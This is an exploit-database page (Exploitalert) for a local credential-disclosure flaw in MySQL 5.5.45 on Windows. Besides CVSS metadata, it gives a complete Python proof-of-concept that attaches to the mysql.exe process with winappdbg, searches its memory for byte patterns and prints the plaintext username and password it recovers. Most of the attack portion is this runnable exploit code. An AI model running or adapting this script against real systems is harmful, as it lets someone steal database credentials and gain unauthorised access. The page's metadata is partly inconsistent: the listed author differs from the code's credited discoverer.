Exploitalert - Database of Exploits

MySQL 5.5.45 (64bit) - Local Credentials Disclosure

CVE	Category	Price	Severity
CVE-2015-3152	CWE-255	$15,000	High

Author	Risk	Exploitation Type	Date
Kaspersky Lab	High	Local	2016-09-06

CVSS	EPSS	EPSSP
CVSS:4.0/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Local	AV	The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	High	PR	The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable system allowing full access to the vulnerable system’s settings and files.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	None	I	There is no impact on the integrity of the system; the attacker does not gain the ability to modify any files or information on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2016090026

MySQL 5.5.45 (64bit) - Local Credentials Disclosure##### # MySQL 5.5.45 (64bit) Local Credentials Disclosure # Tested on Windows Windows Server 2012 R2 64bit, English # Vendor Homepage @ https://www.mysql.com # Date 05/09/2016 # Bug Discovered by Yakir Wizman (https://www.linkedin.com/in/yakirwizman) # # http://www.black-rose.ml # # Special Thanks & Greetings to friend of mine Viktor Minin (https://www.exploit-db.com/author/?a=8052) | (https://1-33-7.com/) ##### # MySQL v5.5.45 is vulnerable to local credentials disclosure, the supplied username and password are stored in a plaintext format in memory process. # A potential attacker could reveal the supplied username and password in order to gain access to the database. # Proof-Of-Concept Code: ##### import time from winappdbg import Debug, Process def b2h(str): return ''.join(["%02X " % ord(x) for x in str]).strip() def h2b(str): bytes = [] str = ''.join(str.split(" ")) for i in range(0, len(str), 2): bytes.append(chr(int(str[i:i+2], 16))) return ''.join(bytes) usr = '' pwd = '' count = 0 filename = "mysql.exe" process_pid = 0 memory_dump = [] passwd = [] debug = Debug() try: print "[~] Searching for pid by process name '%s'.." % (filename) time.sleep(1) debug.system.scan_processes() for (process, process_name) in debug.system.find_processes_by_filename(filename): process_pid = process.get_pid() if process_pid is not 0: print "[+] Found process pid #%d" % (process_pid) time.sleep(1) print "[~] Trying to read memory for pid #%d" % (process_pid) process = Process(process_pid) for address in process.search_bytes('\x00\x6D\x79\x73\x71\x6C\x00\x2D\x75\x00'): memory_dump.append(process.read(address,30)) for i in range(len(memory_dump)): str = b2h(memory_dump[i]) first = str.split("00 6D 79 73 71 6C 00 2D 75 00 ")[1] last = first.split(" 00 2D 70") if last[0]: usr = h2b(last[0]) memory_dump = [] for address in process.search_bytes('\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'): memory_dump.append(process.read(address,100)) sorted(set(memory_dump)) for i in range(len(memory_dump)): str = b2h(memory_dump[i]) string = str.split('00 8F') for x in range(len(string)): if x == 1: passwd = string try: pwd = h2b(passwd[1].split('00 00')[0]) except: pass print "[~] Trying to extract credentials from memory.." time.sleep(1) if usr != '' and pwd != '': print "[+] Credentials found!\r\n----------------------------------------" print "[+] Username: %s" % usr print "[+] Password: %s" % pwd else: print "[-] Credentials not found!" else: print "[-] No process found with name '%s'" % (filename) debug.loop() finally: debug.stop()

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